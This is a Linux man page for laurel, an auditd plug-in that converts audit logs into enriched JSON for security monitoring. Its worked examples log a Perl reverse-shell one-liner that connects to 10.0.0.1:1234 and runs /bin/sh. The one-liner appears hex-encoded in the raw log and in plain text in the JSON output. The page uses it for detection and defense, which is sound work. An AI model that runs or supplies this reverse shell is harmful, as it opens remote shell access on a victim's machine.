Provided by: laurel_0.6.2-2build1_amd64 bug

NAME

       laurel-about - High-level description of laurel(8) design, rationale, features

DESCRIPTION

   Problem statement
       While  logs  produced  by  the  Linux  Audit subsystem and auditd(8) contain information that can be very
       useful for host-based security monitoring, the log format is not well-suited for at-scale analysis  in  a
       SIEM.

   Format issues
       • All  non-trivial events are split across multiple lines that have to be joined together using a message
         identifier, but current search-centric log analysis systems are quite limited when  it  comes  to  join
         operations.

       • Files and program executions are logged via PATH and EXECVE elements.  The character set for strings is
         a limited subset of ASCII no escaping mechanism exists: If a string contains bytes  that  have  special
         meaning in the format (even space or quote characters), the entire string is hex-encoded.

       • Argument  lists  are  preserved  in  EXECVE records, but with an a0="...", a1="...", a2="...", a3="..."
         naming scheme, they are not easily accessible.

       • Long command lines may be spread across multiple EXECVE event lines.

       • For numeric values, there is no clear distinction whether they should be interpreted as decimal, octal,
         or hexadecimal values.

   Missing context
       Most  audit  events  are based on either system calls or file operations.  Whether or not some suspicious
       actions should be considered harmful, largely depends on the  context  in  which  it  takes  place.   For
       example,  one  would  not expect most web applications to use netcat to connect to hosts on the Internet,
       but an administrator who is logged and over SSH who uses netcat to  debug  network  issues  should  raise
       fewer  suspicions.  Unfortunately, the only context that can be added for Linux audit events “keys” using
       the -k parameter of auditctl(8).

   Example
       Spawning a simple Perl reverse-shell one-liner creates the following 7-line audit log entry  that  nicely
       demonstrates some of these shortcomings:

              type=SYSCALL msg=audit(1626611363.720:348501): arch=c000003e syscall=59 success=yes exit=0 a0=55c094deb5c0 a1=55c094dea770 a2=55c094dbf1b0 a3=fffffffffffff286 items=3 ppid=722076 pid=724395 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts3 ses=3 comm="perl" exe="/usr/bin/perl" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root"
              type=EXECVE msg=audit(1626611363.720:348501): argc=3 a0="perl" a1="-e" a2=75736520536F636B65743B24693D2231302E302E302E31223B24703D313233343B736F636B657428532C50465F494E45542C534F434B5F53545245414D2C67657470726F746F62796E616D6528227463702229293B696628636F6E6E65637428532C736F636B616464725F696E2824702C696E65745F61746F6E282469292929297B6F70656E28535444494E2C223E265322293B6F70656E285354444F55542C223E265322293B6F70656E285354444552522C223E265322293B6578656328222F62696E2F7368202D6922293B7D3B
              type=CWD msg=audit(1626611363.720:348501): cwd="/root"
              type=PATH msg=audit(1626611363.720:348501): item=0 name="/usr/bin/perl" inode=401923 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root"
              type=PATH msg=audit(1626611363.720:348501): item=1 name="/usr/bin/perl" inode=401923 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root"
              type=PATH msg=audit(1626611363.720:348501): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=404797 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root"
              type=PROCTITLE msg=audit(1626611363.720:348501): proctitle=7065726C002D650075736520536F636B65743B24693D2231302E302E302E31223B24703D313233343B736F636B657428532C50465F494E45542C534F434B5F53545245414D2C67657470726F746F62796E616D6528227463702229293B696628636F6E6E65637428532C736F636B616464725F696E2824702C696E65745F6174

   Solution
       In  addition  to (or instead of) writing log files, auditd(8) can pass log lines to one or multiple plug-
       ins for further processing, see auditd-plugins(5).  laurel(8) is intended to be run as  such  a  plug-in.
       It  reads the audit logs from standard input, parses them, and writes a modified form of the audit log to
       a different log file.

   Output format
       Log records carrying the same event ID (the msg=audit(TIME:SEQUENCE): part) are collected  into  coherent
       events  and  output as a JSONlines-based log format.  Most importantly, hex-encoded strings are output as
       regular  JSON  strings.   RfC8259  (https://datatracker.ietf.org/doc/html/rfc8259)  mandates  that  “text
       exchanged between systems that are not part of a closed ecosystem MUST be encoded using UTF-8”, therefore
       any bytes or byte sequences that are  not  valid  UTF-8  are  percent-encoded  as  described  in  RfC3986
       (https://datatracker.ietf.org/doc/html/rfc3986).   Numbers  are  parsed as decimal, octal, or hexadecimal
       values and output in an unambiguous format.  List data (SYSCALL.{a0 ... a3}  and  EXECVE.a*)  are  turned
       into JSON arrays.  PROCTITLE.proctitle is split at NULL bytes and transformed into a list.

   Structure
       Every  audit  log  line  produced  by LAUREL is one single JSON object consisting of key/value pairs that
       contains at least an ID field.

       • SYSCALL, EXECVE, CWD, PROCTITLE fields point to single JSON objects.

       • PATH, SOCKADDR fields point to lists of JSON objects.

       Every other kernel-produced audit message not mentioned above results in field pointing to a list of JSON
       objects.  Details may change after the list of kernel audit message types has been reviewed.

   Encoding of invalid UTF-8 strings and binary data
       • Most  byte  values  that  represent printable ASCII characters are reproduced as-is (but are subject to
         JSON string escaping rules).

       • Bytes that map to non-printable ASCII characters (less than 32/0x20; 127/0x7f) are percent-encoded.

       • Byte values that map to % (37/0x25) and + (42/0x2b) are percent-encoded.

       • Byte values outside of the ASCII range (greater than 127/0x7f) are reproduced as-is if they are part of
         a valid UTF-8 sequence.  Otherwise, they are percent-encoded.

       Handling of special Unicode characters may change in the future.

   Translation / Enrichment
       If  auditd(8)  has  been  configured  with  log_format=ENRICHED, it translates some numeric values in the
       original audit data to strings.  Per convention, it adds translated information using  all-caps  versions
       of the keys.  For example,

              arch=c000003e syscall=59 uid=0

       get translated to

              ARCH=x86_64 SYSCALL=execve UID="root"

       by  auditd(8).   All  information  that  is  added  to  records by laurel(8) follows the same convention,
       i.e. keys are turned into all-caps.  While laurel can be configured to perform the same  translations  as
       auditd(8),  it  can  perform  other  enrichments,  including  interpreted  scripts,  collecting  specific
       environment variables, or container information for processes that are run within container environments.

   Adding Context: Process Relationships, Labels
       While processing audit records laurel(8) tracks processes and remembers  comm,  exe,  and  the  event  ID
       associated  with the latest execve event of a process.  Processes that are tracked can be assigned labels
       through various mechanisms and those labels can optionally be propagated to child processes.

       Mechanisms by which labels can be assigned include: - using the key from an audit event (the -k option of
       auditctl(8)) - regular expression applied to the executable path (SYSCALL.exe field) - regular expression
       applied to the script path (SYSCALL.SCRIPT field, enriched)

       The process tracking information  can  be  used  to  enrich  fields  containing  process  ids,  including
       SYSCALL.{pid, ppid} and OBJ_PID.opid associated with ptrace attach or kill syscalls.

   Volume reduction: Filtering out events
       To  reduce  the  high  volume  of events, it is possible to filter out events by key or by process label.
       Events that are filtered are still used for process tracking.

   Example
       The log lines from the Perl reverse shell execution above are processed by laurel(8) into  the  following
       JSON log line:

              {"ID":"1626611363.720:348501","SYSCALL":{"arch":"0xc000003e","syscall":59,"success":"yes","exit":0,"a0":"0x55c094deb5c0","a1":"0x55c094dea770","a2":"0x55c094dbf1b0","a3":"0xfffffffffffff286","items":3,"ppid":722076,"pid":724395,"auid":1000,"uid":0,"gid":0,"euid":0,"suid":0,"fsuid":0,"egid":0,"sgid":0,"fsgid":0,"tty":"pts3","ses":3,"comm":"perl","exe":"/usr/bin/perl","subj":"=unconfined","key":null,"ARCH":"x86_64","SYSCALL":"execve","AUID":"user","UID":"root","GID":"root","EUID":"root","SUID":"root","FSUID":"root","EGID":"root","SGID":"root","FSGID":"root","PPID":{"EVENT_ID":"1626611323.973:348120","exe":"/bin/bash","comm":"bash","ppid":3190631}},"EXECVE":{"argc":3,"ARGV":["perl","-e","use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};"]},"CWD":{"cwd":"/root"},"PATH":[{"item":0,"name":"/usr/bin/perl","inode":401923,"dev":"fd:01","mode":"0o100755","ouid":0,"ogid":0,"rdev":"00:00","nametype":"NORMAL","cap_fp":"0x0","cap_fi":"0x0","cap_fe":0,"cap_fver":"0x0","cap_frootid":"0","OUID":"root","OGID":"root"},{"item":1,"name":"/usr/bin/perl","inode":401923,"dev":"fd:01","mode":"0o100755","ouid":0,"ogid":0,"rdev":"00:00","nametype":"NORMAL","cap_fp":"0x0","cap_fi":"0x0","cap_fe":0,"cap_fver":"0x0","cap_frootid":"0","OUID":"root","OGID":"root"},{"item":2,"name":"/lib64/ld-linux-x86-64.so.2","inode":404797,"dev":"fd:01","mode":"0o100755","ouid":0,"ogid":0,"rdev":"00:00","nametype":"NORMAL","cap_fp":"0x0","cap_fi":"0x0","cap_fe":0,"cap_fver":"0x0","cap_frootid":"0","OUID":"root","OGID":"root"}],"PROCTITLE":{"ARGV":["perl","-e","use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_at"]}}

   Audit rule set advice
       For  process  tracking to work properly, the kernel should be configured to log all execve-like calls and
       all fork-like for processes that are expected to ose fork without execve, e.g. shells:

              -a exit,always -F arch=b32 -S execve,execveat -F success=1
              -a exit,always -F arch=b64 -S execve,execveat -F success=1

              -a exit,always -F arch=b32 -S fork,vfork,clone,clone3 -F success=1 -F exe=/bin/sh
              -a exit,always -F arch=b64 -S fork,vfork,clone,clone3 -F success=1 -F exe=/bin/sh
              -a exit,always -F arch=b32 -S fork,vfork,clone,clone3 -F success=1 -F exe=/bin/bash
              -a exit,always -F arch=b64 -S fork,vfork,clone,clone3 -F success=1 -F exe=/bin/bash
              # ...

       If the fork calls are not needed in the log file, they can be filtered out by assigning a  key  to  those
       rules in the audit ruleset and adding this key to filter.filter-keys.

       Note  that  older  versions  of  auditd  may  not understand all the syscalls.  In those cases, it may be
       necessary to substitute the syscall numbers for the ruleset.

SEE ALSO

       laurel(8), auditd(8), audit.rules(7)

AUTHORS

       • Hilko Bengen <<bengen@hilluzination.de>>

       • Sergej Schmidt <<sergej@msgpeek.net>>